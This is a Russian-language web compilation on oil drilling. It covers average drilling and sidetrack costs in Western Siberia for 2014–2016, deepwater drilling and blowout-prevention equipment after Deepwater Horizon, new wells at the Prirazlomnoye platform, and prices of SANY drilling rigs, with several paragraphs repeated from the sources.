Сколько стоит нефтяная скважина:как добывают нефть буровым путём

Regarding the drilling cost in the oil fields of Western Siberia

А. JANIN, T. JURETCKA, «Design Bureau «TERM» LLC

Обработаны и представлены усредненные данные об удельной стоимости эксплуатационного бурения метра наклонно-направленных (ННС) и горизонтальных (ГС) скважин (руб/м), по «свободной» выборке – из примерно одной сотни утвержденных проектных технологических документов (ПТД) на разработку нефтяных месторождений Западной Сибири за последние три года – 2014, 2015, 2016 гг. Кроме того, обобщены сведения о стоимости работ по реконструкции нефтяных скважин методом забуривания боковых стволов (тыс. руб/БС) – «вертикальных» (БВС) и горизонтальных (БГС). Параллельно сопоставлены тенденции в динамике объемов буровых работ в России и цен на нефть на мировом рынке. Исследование эксклюзивно, ведь какие-либо справочные или обобщающие данные о стоимости бурения в печати встречаются редко, но подобная информация крайне необходима работникам консалтинговых компаний ТЭК, чиновникам, занимающимся вопросами недропользования в регионах, а также представителям государственных органов (ГКЗ, ЦКР, ФАН, Минприроды) для объективной оценки (проверки) обоснованности расчетов эффективности освоения месторождений УВС, представляемых нефтяными компаниями, в т.ч. в процессе выделения объемов трудноизвлекаемых запасов (ТрИЗ) нефти.

Processed and averaged data on unit costs of production drilling meters directional (NNS) and horizontal (HS) wells (RUB/m), the «free» sample of about one hundred of the approved project design documents (PDD) to develop oil fields in Western Siberia over the past three years – 2014, 2015, 2016 in addition, summarized data on the cost of works on reconstruction of oil wells method of collaring sidetracks (thousand RUB /LB) – the «vertical» (BVC) and horizontal (BGS). Parallel to the mapped trend of the volume of drilling operations in Russia and oil prices on the world market. The research are exclusive, as any reference or summary data about the cost of drilling in print are rare, but such information is critical to employees of consulting companies of fuel and TEK, the officials working in the area of subsoil use in the regions, and representatives of state authorities (GKZ, TcKR, FAN, the Ministry of natural resources) for an objective assessment (check) the validity of the calculations of efficiency of development of deposits of hydrocarbons that represent oil companies, including in the process of allocation of difficult reserves (TRIZ) oil.

О буровых работах в России

Для начала обратимся к общей статистике [1]. В прежние годы (в СССР) нефтяная отрасль характеризовалась значительными ежегодными объемами буровых работ: в 1988г. было пробурено 40,603 млн м, в 1989 г. – 39,612 млн м, в 1990 г. – 33,270 млн м, в 1991 г. (год распада СССР) – 28,717 млн м.

Несмотря на значительные достижения России в последние годы в области нефтедобычи, достичь указанных выше цифр по метражу эксплуатационного бурения так и не удалось. В рекордный 2016 г.

при добыче неф­ти по России 547,5 млн т проходка эксплуатационных скважин достигла своего максимального уровня – 24,680 млн м (табл. 1)

Накопленный объем эксплуатационного бурения по России за 32–летний период, с 1985 по 2016 г., составил весьма внушительную величину – 579,5 тыс. пог. км. Указанная суммарная проходка имеет «космические масштабы», т.к. в 1,5 раза превышает расстояние от Земли до Луны.

Справочно отметим, что накопленный объем эксплуатационного бурения по России за 32-летний период, с 1985 по 2016 гг., составил весьма внушительную величину – 579,5 тыс. пог. км. Указанная суммарная проходка имеет «космические масштабы», т.к. в 1,5 раза превышает расстояние от Земли до Луны.

Из указанного по России объема – 357,5 тыс. км (62 %) приходится на основной нефтедобывающий регион – ХМАО-Югру. В целом же с начала промышленной добычи нефти (1964 г.) в округе пробурено 440,4 тыс. км эксплуатационных скважин.

Указанная величина соответствует примерно 11 виткам окружности Земли вдоль экватора. Таким образом, объемы эксплуатационного бурения в РФ сейчас весьма значительны, хотя существенно (в разы) уступают проходке на нефтяных месторождениях США (к примеру, еще в 1985 г. в США бурили 110,2 млн м, в т.

ч. эксплуатационных скважин – 87,1 млн м, разведочных – 23,1 млн м).

Объемы эксплуатационного бурения в РФ существенно (в разы) уступают проходке на нефтяных месторождениях США (к примеру, еще в 1985 г. в США бурили 110,2 млн м, в т.ч. эксплуатационных скважин – 87,1 млн м, разведочных – 23,1 млн м).

Рынок буровых работ велик не только по объемам проходки, но и по величине капитальных вложений в бурение эксплуатационных скважин.

В период строительства социализма в СССР затраты на бурение эксплуатационных скважин (без обустройства) в Западной Сибири оценивались примерно в 40 % от общих капитальных вложений на освоение нефтяных месторождений. По данным журнала «Бурение и нефть» [2], за 11 месяцев 2016 г.

освоение капиталовложений в неф­тяной отрасли России составило 700 млрд руб., в т.ч. в эксплуатационное бурение скважин – 320 млрд руб. (или 46 % от общих капитальных вложений), в разведочное бурение – 42,6 млрд руб. (6 %).

Динамика цены на нефть и объемы эксплуатационного бурения в России

Из приведенных данных следует наглядный вывод о том, что в силу значительной временной (3 – 5 лет) инерционности процесса нефтедобычи в России прямая зависимость между ценой нефти на мировом рынке, объемами проходки и текущей добычей нефти не обнаруживается.

Аналогично изложенному можно сделать вывод № 2 о том, что попытки чиновников из МПР определить на какую-то конкретную дату реальный объем рентабельных извлекаемых запасов УВС в госбалансе по России, на основе учета только лишь текущих (сложившихся за последний фактический год) цен на нефть, – обречены на неудачу.

Не в последнюю очередь это обусловлено постоянно изменяющимся, достаточно гибким законодательством о налогообложении в нефтяной отрасли страны.

Планирование затрат на бурение скважин

Известно, что ранее – в СССР в практике планирования затрат по объектам капитального строительства использовали сборники «УПВС» – укрупненных показателей восстановительной стоимости. В них существовал подраздел № 4 – «Здания и сооружения нефтяной промышленности».

В указанных сборниках в качестве базовых были зафиксированы (с учетом территориального коэффициента) удельные стоимостные показатели производства строительных работ в СССР. Среди этих показателей присутствовала и удельная стоимость (руб/м) эксплуатационного бурения по нефтяным, газовым и разведочным скважинам.

С целью установления величин удельных затрат в последующие годы применялись соответствующие «повышающие коэффициенты».

В силу значительной временной (3 – 5 лет) инерционности процесса нефтедобычи в России прямая зависимость между ценой нефти на мировом рынке, объемами проходки и текущей добычей нефти не обнаруживается.

С учетом указанного для установления неких достоверных усредненных затрат на бурение в рамках региона (в данном случае – Западной Сибири) нами обобщены сведения об удельной стоимости бурения эксплуатационных скважин в период 2014 – 2016 гг.

– примерно по одной сотне произвольно выбранных нефтяных месторождений более 20 нефтедобывающих предприятий Западной Сибири (ХМАО, ЯНАО, Томская область и юг Тюменской), приведенные в утвержденных проектных технологических документах на их разработку (табл. 4). Перечень нефтяных компаний, по которым обобщена информация, достаточно представителен: ООО «ЛУКОЙЛ-Западная Сибирь», ПАО «НК «Роснефть», ОАО «Томскнефть» ВНК, ПАО НК «РуссНефть», ООО «Газпромнефть-Хантос», ОАО «Газпромнефть-Ноябрьскнефтегаз», ООО «Заполярнефть», ООО «Газпромнефть-Восток», ОАО «Томскгазпром», АО «НК «Конданефть», ОАО «Негуснефть», компания «КанБайкал Резорсез ИНК», ООО «Юрскнефть», ОАО «Нижневартовское нефтегазодобывающее предприятие», ООО «Тарховское», ООО «Норд-Ост Гео», ООО «Матюшкинская вертикаль», ООО «Томская нефтегазовая компания», ООО «НПТ «ЭСКО», ОАО «Нефтебурсервис». Перечень, по которому обобщена информация, состоит из 98 нефтяных месторождений Западной Сибири: Андреевское, Восточно-Каюмовское, Валынтойское, Варынгское, Верхнеларьеганское, Волковское, Воргенское, Восточно-Никольское, Вынгапуровское, Герасимовское, Глухариное, Гун-Еганское, Двуреченское, Ершовое, Западно-Катыльгинское, Западно-Ключевское, Западно-Котухтинское, Западно-Малобалыкское, Западно-Никольское, Западно-Ноябрьское, Западно-Останинское, Западно-Угутское, Западно-Чатылькинское, Западно-Эпасское, Западно-Эргинское, Зимнее, Игольско-Таловое, Карамовское, Катыльгинское, Квартовое, Колотушное, Кондинское, Крапивинское, Красноленинское, Кулгинское, Кулунское, Куль-Еганское, Ломовое, Лонтынь-Яхское, Лорьеганское, Малочерногорское, Малоюганское, им. Малыка, Матюшкинское, Мыльджинское, Налимье, Ново-Аганское, Новогоднее, Новомолодежное, Новоортъягунское, Озерное, Орехово-Ермаковское, Ореховская площадь, Павловское, Пихтовое, Полуденное, Полуньяхское, Польемское, Приграничное, Правдинское, Пылинское, Равенское, Самотлорское, Северное, Северо-Васюганское, Северо-Конитлорское, Северо-Камариное, Северо-Ледовое, Северо-Поточное, Северо-Тамаргинское, Славинское, Смоляное, Солоновское, Спорышевское, Среднемулымьинское, Средненюрольское, Стрежевское, Тагайское, Тамбаевское, Тангинское, Трехозерное, Травяное, Туль-Еганское, Убинское, Урманское, Урненское, Усть-Тегусское, Холмогорское, Центрально-Пылинское, Чатылькинское, Шушминское, Экутальское, Южно-Киняминское, Южно-Мыльджинское, Южно-Тамбаевское, Южно-Табаганское, Южно-Черемшанское, Ярайнерское.

Оценивая репрезентативность сформулированной выборки данных (табл. 5), можно отметить следующее. В целом, совокупность данных по Западной Сибири – достаточная для получения достоверных результатов в части оценки стоимости эксплуатационного бурения, в т.ч.

и по годам – с 2014 по 2016 гг. Менее достоверны и требуют уточнения сведения по отдельным регионам. В первую очередь, по ХМАО-Югре (в 2014 г. – для ННС и ГС – по 5 месторождениям), а также по Томской области – по ГС: в 2014 г. – 7 месторождений, в 2016 г.

– 8 месторождений.

Средняя стоимость одного ЗБВС по Западной Сибири в среднем за три года составила – 39,3 млн руб., или ∼ 79 % от средней стоимости одной ННС в указанный период.

Что касается средней стоимости одного ЗБГС, то за 2014 – 2016 гг. по Западной Сибири она составила в среднем – 45,7 млн руб.

, что всего лишь на 16 % дороже, чем ЗБВС, и практически вдвое дешевле, чем бурение одной горизонтальной скважины с длиной горизонтального участка – 600 м.

Несмотря на это, и по указанным регионам определенная «логика» в полученных результатах – имеет место (т.е. последовательный рост стоимости 1 м бурения по годам). После обработки исходных данных получены следующие основные результаты. По исследуемой выборке из 98 нефтяных месторождений Западной Сибири удельная стоимость эксплуатационного бурения ННС – в период с 2014 по 2016 гг.

увеличилась с 16 978 до 19 238 руб/м, или на 13,8 %, составляя в среднем за три года – 17 441 руб/м. То же по горизонтальным скважинам – увеличение с 24 121 до 27 762 руб/м (т.е. на 15 %), а в среднем за три года – 25 603 руб/м. Соотношение стоимости 1 м бурения по ГС и ННС составляет в среднем за три года ∼ 1,5 раза.

При указанных выше удельных нормативах одна ННС глубиной 2900 м в Западной Сибири в 2014 – 2016 гг. стоила ∼ 50 млн руб., а ГС глубиной ∼ 3500 м ∼ 90 млн руб., соотношение их цен: ГС/ННС – 1,8 раза. Оценивая выборку данных о стоимости ЗБВС и ЗБГС в целом по Западной Сибири (табл. 6), можно отметить ее достоверность (кроме 2014 г.: ЗБВС – 13 месторождений и ЗБГС – 9 месторождений).

По отдельным регионам достоверность данных в табл. 6 меньше, чем в табл. 5, – из-за меньшего количества представленных месторождений. Поэтому по регионам динамика стоимости ЗБВС и ЗБГС в 2014 – 2016 гг. не всегда выглядит логично и требует своего уточнения в дальнейшем.

В итоге получено, что средняя стоимость одного ЗБВС по Западной Сибири в среднем за три года составила – 39,3 млн руб., или ∼ 79 % от средней стоимости одной ННС в указанный период.

Что касается средней стоимо­сти одного ЗБГС, то за 2014 – 2016 гг. по Западной Сибири она составила в среднем – 45,7 млн руб., что всего лишь на 16 % дороже, чем ЗБВС и практически вдвое дешевле, чем бурение одной горизонтальной скважины с длиной горизонтального участка – 600 м.

По исследуемой выборке из 98 нефтяных месторождений Западной Сибири удельная стоимость эксплуатационного бурения ННС – в период с 2014 по 2016 гг. увеличилась с 16 978 до 19 238 руб/м, или на 13,8 %, составляя в среднем за три года – 17 441 руб/м. То же по горизонтальным скважинам – увеличение с 24 121 до 27 762 руб/м (т.е.

на 15 %), а в среднем за три года – 25 603 руб/м. Соотношение стоимости 1 м бурения по ГС и ННС составляет в среднем за три года ∼ 1,5 раза. При указанных выше удельных нормативах одна ННС глубиной 2900 м в Западной Сибири в 2014 – 2016 гг. стоила ∼ 50 млн руб., а ГС глубиной ∼ 3500 м ∼ 90 млн руб.

, соотношение их цен: ГС/ННС – 1,8 раза.

Выводы 1. Проведено обобщение данных за 2014 – 2016 гг. о стоимости эксплуатационного бурения и забуривания боковых стволов в Западной Сибири (в т.ч. по регионам). Количество рассмотренных месторождений – 98, нефтяных компаний – 21. Репрезентативность обработанного массива данных – удовлетворительная. 2.

Установлено, что стоимость 1 м эксплуатационного бурения в Западной Сибири за трехлетний период, с 2014 по 2016 гг., – увеличилась незначительно: • по ННС – с 16,978 до 19,138 тыс. руб/м (рост +13,3 %), средняя за три года составила 17,441 тыс. руб/м; • по ГС – с 24,121 до 27,762 тыс. руб/м (рост +15,1 %), средняя за три года – 25,603 тыс. руб/м. 3.

Указанный рост стоимости работ меньше, чем накопленный коэффициент инфляции за 2014 – 2016 гг. Соотношение цен бурения 1 м по ГС и ННС составляет примерно 1,5 раза, а »полных» стоимостей бурения скважин ГС/ННС – 1,8 раза. 4. Стоимость работ по забуриванию боковых стволов по Западной Сибири в среднем за три года составила: по ЗБВС – 39,315 млн руб.

; по ЗБГС – 45,705 млн руб. Соотношение стоимостей ЗБГС и ЗБВС невелико, в среднем – 1,16.

5. Полученные данные подлежат дальнейшему уточнению, путем увеличения выборки исходных данных, особенно по регионам, составляющим Западную Сибирь (ХМАО-Югра, ЯНАО, юг Тюменской и Томской областей и др.).

Источник: https://burneft.ru/archive/issues/2017-05/36

Как добывают нефть под водой

Как известно, техногенные катастрофы не случаются сами по себе. Их устраивают люди. В нефтегазовой отрасли последствия некомпетентности ужасны. Трагедия платформы Deepwater Horizon на месторождении Макондо и выброс нефти на шельфовой скважине Монтара в Тиморском море в 2009 году наглядно продемонстрировали дьявольский потенциал «человеческого фактора».

Уже почти не осталось мест, где сочащуюся из песка нефть можно черпать ведрами. Зато технологически сложных углеводородов в толще геосферы еще предостаточно. Каких-то 30 лет назад бурение на дне океана, в вечной тьме и холоде, под давлением, сминающим титановые корпуса подлодок, как пивные жестянки, было фантастикой. Впрочем, это и сегодня чрезвычайно опасно.

И потому запредельно дорого.

К примеру, первые 15 скважин глубоководного месторождения Тупи бассейна Сантоса «влетели консорциуму Petrobras и BP в $1 млрд.

Для того чтобы добраться до этого нефтеносного пласта с извлекаемыми запасами в 8 млрд баррелей, буровикам пришлось преодолеть 2 км воды, сотню метров разъедающих металл солевых отложений и еще 5 км «слоеного пирога» из скальных пород с большими перепадами пластового давления.

Столь же тяжелые геофизические условия и у берегов Анголы, где бурение производится на глубинах от 1,5 до 2,5 км, и в Мексиканском заливе, где работу морских платформ и буровых судов-дриллшипов осложняют частые ураганы.

В западных районах Северного моря, где не так давно были открыты месторождения North Uist (глубина 1,3 км) и Rosebank (1,1 км), а также на Восточном побережье Канады, жестокие шторма с пятиметровой волной бушуют более 250 дней в году.

В Охотском море и особенно в Арктике нефтяникам противостоят тяжелые льды, морозы и перепады температур в рабочей зоне от -1°C в устье скважины до 130 °C в забое.

Перед бурением глубоководной скважины буровое судно (на профессиональном жаргоне «дриллшип») «зависает» над заданной геофизиками точкой дна, непрерывно корректируя свое положение тягой винтовых движителей системы динамического позиционирования на основе GPS.

После этого через сквозную буровую шахту в корпусе судна на буровой колонне спускается первое звено будущей скважины — кондуктор. Это стальной толстостенный трубный фундамент массой 200 и более тонн и высотой до 27,5 м с фланцем для соединения с устьевой арматурой.

Под внимательным взором телекамер подводных аппаратов гидромониторное долото, находящееся внутри кондуктора, мощнейшими струями размывает на дне колодец, и гигантская конструкция соскальзывает в него под давлением воды. Кондуктор намертво бетонируется в колодце цементным тестом, которое подается по буровой колонне и через специальную головку выдавливается в затрубное пространство.

Тестом называется масса, образующаяся при соприкосновении вяжущих минеральных веществ с морской водой. Она превращается в искусственный камень не более чем через 18 часов. Сразу после этого в скважину спускается долото, вращающееся под напором морской воды, как турбина, и буровики проходят еще около сотни метров для установки первой секции обсадной трубы.

Для изоляции от водоносных пластов и для противодействия давлению породы скважина вновь заливается цементным раствором. Тампонаж — так профи называют этот процесс — критически важная процедура в бурении.

Низкое качество «брони», противостоящей колоссальному давлению пластов (до 1000 атм), может привести к потере скважины ценой около $100 млн и даже к экологическому бедствию (как это случилось в Макондо).

Затем на устье с борта платформы опускается блок противовыбросовых превенторов (ПВП) массой около 100 т. Именно эти мощнейшие автоматические затворы призваны спасти акваторию от загрязнения нефтью в случае аварии. Сверху к ПВП присоединяется вертикальный трубопровод, или райзер.

Райзер, состоящий из десятков и иногда сотен отдельных секций, соединяет буровую установку со стволом скважины. По райзеру, как по дороге жизни, в скважину доставляется все необходимое — буровая колонна с гидравлическим долотом, буровой раствор, обсадные трубы, цементное тесто, измерительная аппаратура и специнструмент. По нему же отработанный буровой раствор выносит наверх обломки породы.

После установки райзера начинается рутинный процесс бурения, длящийся несколько месяцев: проходка отрезка, спуск очередной секции обсадной трубы, тампонаж, опрессовка, тесты на герметичность, смена долота, снова проходкаи т. д. Но по мере приближения к нефтеносному пласту обстановка в прямом смысле слова накаляется: на глубине свыше 5 км температура подскакивает до 130 °C, а давление — до 900−1000 атм.

Линия обороны

По мнению директора Бюро по вопросам безопасности и природоохраны США (BSEE) Джеймса Уотсона, только ужесточение требований к надежности скважинного оборудования может компенсировать катастрофические проявления человеческого фактора. А вот инженеры-буровики, работающие «в поле», уверены, что стихию можно держать под надежным контролем и без особых инноваций.

Первая линия обороны скважины — грамотное цементирование, адекватное геофизическим свойствам пласта. Вторая линия — глушение избыточного давления прорвавшейся внутрь ствола скважинной жидкости подачей глинистого бурового раствора с удельным весом 2,5−3,5 т/м3. Как правило, подобная пробка эффективно закупоривает рвущиеся к устью нефть и газы.

Но если буровой раствор не в состоянии сдержать натиск фонтана, а также в случае внезапного сноса платформы с точки бурения и отрыва буровой колонны от насоса оператор обязан заглушить скважину через блок противовыбросовых превенторов. Стандартный глубоководный блок ПВП — это многоэтажная конструкция из двух или более кольцевых и не менее чем из трех срезных плашечных превенторов.

Управление блоком ПВП может осуществляться подачей электрического или закодированного гидроакустического сигнала, механически при помощи подводных беспилотников и в автоматическом аварийном режиме с питанием от донного гидроаккумулятора в случае повреждения гидросистемы на райзере. При этом трубные плашки сначала фиксируют буровую колонну в канале (если она там есть), а срезные окончательно глушат скважину.

В 2010 году на Deepwater Horizon первые две линии обороны пали из-за некомпетентности персонала, а в блоке ПВП не сработал ни один превентор из пяти. Впрочем, нечто подобное могло случиться гораздо раньше.

Еще в 2004 году Службой по недропользованию США были опубликованы шокирующие данные по оценке надежности превенторов на глубоководных скважинах Мексиканского залива.

Оказалось, что 50% из проверенных блоков ПВП были не в состоянии заглушить скважину в момент, когда в ней находится буровая колонна или обсадная труба, из-за недостаточной мощности срезных плашек. Тогда скандал был спущен на тормозах, а через шесть лет…

Мокрое дело

Сразу после ликвидации выброса ведущие компании нефтегазового сектора начали лихорадочную разработку аналогичных девайсов, специнструмента для расчистки устья глубоководных скважин от завалов, отработки технологии их применения и доставки на место аварии. Одна из наиболее продуманных систем — Global Deepwater Well Cap (GDWC) стоимостью $50 млн — была анонсирована инженерами British Petroleum и Cameron в мае этого года.

Основой GDWC, масса которой вместе с дополнительной оснасткой составляет 500 т, является 12-метровая 100-тонная стальная заглушка.

В случае аварии она будет устанавливаться с судна непосредственно на блок превенторов, а процесс глушения обеспечат две клиновые задвижки с гидроприводом.

В корпус заглушки интегрирована система распыления диспергаторов (веществ, разбивающих нефть на мельчайшие капли) и система подачи метанола для растворения метанового льда, которая может пригодиться в тех случаях, когда необходимо стравливание нефти из заглушки на танкеры.

GDWC комплектуется 28 переходными фитингами для адаптации к буровым установкам всех 15 типов, работающих на месторождениях BP, и выдерживает давление до 1055 атм. Вскоре ожидается появление аналогичной заглушки с рабочим диапазоном до 1406 атм. Максимальная глубина развертывания GDWC составляет 4000 м.

В комплекте GDWC имеется мобильный гидроаккумулятор и манипуляторы для подводных роботов компании Oceaneering: телекамеры, сонары, прожекторы, гидромониторы, трубные захваты и набор клешней-труборезов, способных перекусывать стальные болванки толщиной 1,5 м.

По словам вице-президента BP Ричарда Моррисона, система в разобранном виде упакована в 20-футовые контейнеры и находится на базе компании в Хьюстоне. Но если случится беда, в течение недели она будет доставлена в любую точку Мирового океана. Для этого потребуется 35 трейлеров и семь самолетов типа АН-124 или Boeing 747.

После прибытия в пункт назначения контейнеры будут пришвартованы к грузовым вертолетам и переброшены на буровую платформу, где после сборки с помощью крана заглушка будет отправлена на дно.

Цена вопроса

Нефти на суше осталось предельно мало, поэтому нефтяным компаниям приходится рисковать и «нырять» в глубину.

Эксперт агентства Douglas-Westwood Дженни Харбор оценивает объем инвестиций в глубоководное бурение на период до 2016 года в $335 млрд.

Половина этого бюджета осядет в карманах контракторов — буровых подрядчиков, обладающих парком транспортных барж с системами балластировки, крановых судов, дриллшипов и полупогружных платформ 5-го и 6-го поколений, способных работать с буровой колонной массой 1150 т на глубинах до 3,5 км и проходить скважины проектной глубиной 10−12 км.

Всепогодные аппараты 6-го поколения стоят до $500 млн за штуку, но с лихвой окупают вложения. Команда может не прерывать процесс бурения даже при ураганном ветре в 100 км/ч и при высоте волны 7 м.

Неудивительно, что спрос на подобную технику растет, как на дрожжах.

В среднем суточная аренда платформы экстра-класса обходится сейчас в $500 000, а новый абсолютный рекорд был зафиксирован в июле этого года — $714 000 в сутки! Такую сумму будет получать контрактор Transocean за использование дриллшипа Deepwater Expedition на месторождении Jujur-1 в Малайзии (глубина 2514 м, проектная глубина ствола 5173 м). Но, несмотря на сумасшедшие тарифы, глубоководной техники катастрофически не хватает, и чтобы «охладить» рынок, к 2013 году контракторы планируют спустить на воду 65 новейших дриллшипов и 17 буровых платформ.

Райзер

В случаях, подобных катастрофе Макондо, когда все штатные методы глушения неконтролируемого фонтана оказываются бессильны, скважину приходится «убивать», как говорят нефтяники.

Для этого необходимо пробурить наклонную разгрузочную скважину, добиться пересечения с основным стволом и «забить» в него заглушку из мощного заряда цемента.

Эта работа занимает месяцы и требует от инженеров хладнокровия и снайперской точности, ведь буровому долоту нужно попасть в мишень размером с суповую тарелку с дистанции в несколько километров. А вот разлив нефти необходимо взять под контроль немедленно.

На мелководье с локализацией выбросов справляются просто: на устье скважины водружают огромный стальной или бетонный кессон (пустотелое свободное от воды помещение) и присоединяют его к гибкому райзеру, отводящему нефть на танкеры.

Но опыт Макондо показал, что на глубинах более километра из-за множества факторов кессонное глушение не работает. Как не работают и другие методы с красочными названиями — Top Kill (глушение устья буровым раствором), Junk Shot (блокирование ствола зарядом цемента с забутовкой из гравия, кусков автопокрышек и мячей для гольфа) и Top Hat (установка на фонтан тяжелой стальной пробки).

В Макондо укротить стихию удалось только через три месяца с момента катастрофы при помощи 40-тонной клапанной заглушки, установленной на блок ПВП. За это время в Мексиканский залив вылилось более 780 000 кубов нефти.

Безопасность

Кольцевой, или трубный, превентор в разрезе. Для фиксации буровой колонны требуется намного меньше энергии, чем для перекусывания ее и полного глушения скважины, поэтому вероятность срабатывания у кольцевого превентора несколько выше, чем у срезного.

Срезной плашечный превентор был придуман в 1922 году Джеймсом Абекромби и Харри Кэмероном, совладельцами мастерской Cameron Iron Works (ныне — компания Cameron, один из лидеров рынка буровой техники), и стал применяться повсеместно с 1924 года.

По сути, срезные плашки — это ножницы из карбида вольфрама, обладающие чудовищной силой, которые способны мгновенно перекусить долото или буровую колонну и перекрыть скважину.

Так, например, у самого мощного ПВП в мире — Cameron EVO 20K, рассчитанного на давление в стволе 1450 атм, — гидравлика воздействует на торцы плашек с силой 105 атм.

Кольцевой или трубный превентор, состоящий из двух резинометаллических плашек в форме полуколец, в 1946 году изобрел главный инженер компании Hydril Гранвилл Нокс. Функции трубного превентора — центровка, захват и удержание буровой колонны с одновременной герметизацией канала.

Бурение

  • Для компенсации напора глубинных течений и горизонтального «рыскания» платформы нижняя секция райзера оснащается гибким резинометаллическим шарниром.
  • Верхняя телескопическая секция, притянутая системой растяжек к днищу платформы, демпфирует вертикальную качку.
  • Снаружи райзер несет на себе трубопровод гидравлической системы, оптоволоконный кабель, а также штуцерную линию и линию глушения скважины.

Райзер — невероятно тяжелая штука. В среднем километр трубопровода в полной комплектации весит до 2000 т. Поэтому для разгрузки буровой установки секции одевают в пенопластовые поплавки, а верхнюю часть райзера подвешивают в толще воды на понтонах.

Заглушка

Спасительный взрыв

По мнению главного технолога Shellпо скважинному оборудованию Чака Уильямса, модернизация ПВП неизбежна, но не только за счет «наращивания мускулов». В техцентре Shell в голландском Нордвейке в кооперации с инженерами National Oilwell Varco была создана аварийная пиротехническая система, которая будет устанавливаться на нижнюю секцию райзера.

В случаях, когда срезные плашки ПВП оказываются не в силах перерезать буровую колонну, кодированный акустический сигнал с пульта оператора или управляющего компьютера замыкает контакты 52 крошечных «адских машинок» направленного взрыва.

Огромная температура и давление, локализованные по окружности райзера, моментально срезают буровую колонну, и она проваливается в бездну скважины. В случае «осечки» приводится в действие заряд-дублер. После этого глушение выброса можно выполнить, активировав превенторы при помощи подводного манипулятора непосредственно с панели управления ПВП.

В конце июня этого года прототип «огнестрельной» гильотины Shell был удачно испытан в ледяных водах залива Пьюджет-Саунд в присутствии агентов Бюро по вопросам безопасности и природоохраны США.

Мобильная пробка

Британская ассоциация v, в состав которой входят компании нефтегазовой отрасли, государственные регуляторы и научные организации, разработала собственную версию аварийной заглушки с рабочим давлением 1055 атм для использования в Северном море в районе Шетландских островов на глубинах от 40 до 1670 м.

В отличие от системы GDWC, требующей перевозки в разобранном виде, 38-тонная заглушка OSPRAG настолько компактна, что может быть переброшена на буровую платформу обычным вспомогательным судном или вертолетом. Установка ее также не представляет большой сложности. Для этого достаточно возможностей штатного оборудования платформы — лебедки или бурового станка.

Заглушка способна надежно закрывать выбросы объемом 75 000 баррелей в сутки и может быть доставлена в точку установки в течение 20−30 дней.

Источник: http://pro-arctic.ru/25/02/2016/technology/20283

1760 т нефти в сутки – новый дебит скважины на Приразломном

«Газпром нефть» ввела в строй на своем арктическом активе две новые добывающие скважины. Новости российского импортозамещения: впервые на шельфе Арктики на одной из скважин начала работать установка электрического центробежного насоса отечественного производства.

Как сообщает компания, теперь на месторождении в Печорском море в эксплуатации десять скважин: шесть добывающих, три нагнетательных и одна поглощающая скважина. Одна из введенных скважин оборудована установкой электрического центробежного насоса отечественного производства – первый опыт использования высокотехнологичного российского оборудования на арктическом шельфе.

Уже в первые дни работы новой установки дебит нефти на скважине с российской установкой достиг 1760 т нефти в сутки. Всего проект освоения Приразломного месторождения на шельфе Печорского моря предусматривает ввод в эксплуатацию 32 скважин.

«Ввод в эксплуатацию первой установки электрического центробежного насоса отечественного производства на арктическом шельфе – значимое достижение для всей российской промышленности. Важно, что именно эта установка обеспечила самую высокую скорость нефтедобычи за всю историю работы «Приразломной».

Мы продолжим повышать эффективность разработки месторождения, строго следуя требованиям промышленной и экологической безопасности», – комментирует генеральный директор «Газпром нефть шельфа» Геннадий Любин.

Приразломное – единственный на российском арктическом шельфе нефтедобывающий проект. Напомним, что промышленная разработка месторождения начата в декабре 2013 г. Новый сорт нефти ARCO впервые поступил на мировой рынок в апреле 2014 г. Недропользователем проекта является «Газпром нефть шельф», дочерняя компания «Газпром нефти». Месторождение открыто в 1989 г.

и располагается в Печорском море в 60 км от берега. Извлекаемые запасы нефти превышают 70 млн т. Для его разработки создана морская ледостойкая стационарная платформа (МЛСП) «Приразломная».

Она рассчитана на эксплуатацию в экстремальных природно-климатических условиях, отвечает самым современным требованиям безопасности и способна выдержать максимальные ледовые нагрузки.

Как отмечает пресс-служба «Газпром нефти», все скважины, эксплуатируемые на месторождении, находятся внутри платформы – ее основание одновременно является буфером между скважиной и открытым морем. Глубина моря в районе месторождения – 20 м.

Кроме того, установленное на скважинах оборудование позволяет предотвратить возможность неконтролируемого выброса нефти или газа.

Система хранения нефти на платформе предусматривает «мокрый» способ размещения сырья в резервуарах, что исключает попадание в емкости кислорода и образование взрывоопасной среды.

Отгрузочная линия по перекачке нефти на танкер оборудована системой аварийной остановки, которая срабатывает мгновенно.

Рядом с платформой несут постоянное аварийное дежурство специализированные ледокольные суда, оборудованные новейшими комплексами нефтесборного оборудования.

«Приразломная» работает в соответствии с принципом «нулевого сброса»: использованный буровой раствор, шлам и другие технологические отходы закачиваются в специальную поглощающую скважину.

Источник: http://neftianka.ru/1760-t-nefti-v-sutki-novyj-debit-skvazhiny-na-prirazlomnom/

Какова стоимость буровых установок для добычи нефти?

Нефть является очень ценным полезным ископаемым. Для того чтобы его добыть, необходимо изначально пробурить скважину в земле. Для подобных работ используются специальные буровые установки.

Существуют различные модели буровых установок, которые используются для того, чтобы добывать нефть. Одна из них – это SANY SR280RII. Стоимость подобной установки составляет 29 млн рублей. Приобрести такой товар можно в городе Благовещенск. Доставка производится максимум через 15 дней после оформления заказа.

Каковы же технические характеристики этой буровой установки на нефть? Она монтируется на шасси CAT 330D. Мотор имеет мощность в 350 лошадиных сил. Производится подобная техника в Китае. Тяговое усилие достигает отметки 355 кН. Гусеница имеет такие габариты:

  • высота – 1,03 метра;
  • длина – 5,464 метра;
  • ширина – 0,8 метра;
  • длина шасси составляет 6,904 метра.

Модель оснащена 4-тактным мотором, который имеет водяное охлаждение. Работает на дизельном топливе, соответствует стандартам Евро-3. Двигатель имеет 6 цилиндров, рабочий объем составляет 8,8 литра.

Стоимость буровых установок для добычи нефти может составлять 26,7 млн рублей. Именно столько стоит модель SANY SR220C. Крутящий момент такой буровой установки составляет 250 кНм. Наибольший диаметр бурения – 2 метра. Глубина бурения не превышает 67 метров. Скорость вращения составляет не более 26 об/мин.

Наибольшее усилие на подъеме – 240 кН. Ход штока составляет 5,16 метра. Мощность мотора – 213 кВт. Мощность главной лебедки составляет 240 кН, а диаметр троса – 2,8 см. Модель имеет и вспомогательную лебедку, ее мощность – 110 кН, а диаметр троса достигает 2 см.

Предельная сила тяги – 510 кН, а полная масса составляет 70 тонн.

За 380 тысяч долларов можно приобрести модель SANY SR150C. Длина шасси составляет 6,31 м. Звено гусеницы имеет ширину в 70 см. Тяговое усилие достигает 220 кН. Мотор для такой буровой установки изготавливается в Японии, он работает на дизтопливе, отвечает стандартам Евро-2, имеет 6 цилиндров. Объем двигателя составляет 6,49 литра. Мощность подобной установки – 168 лошадиных сил.

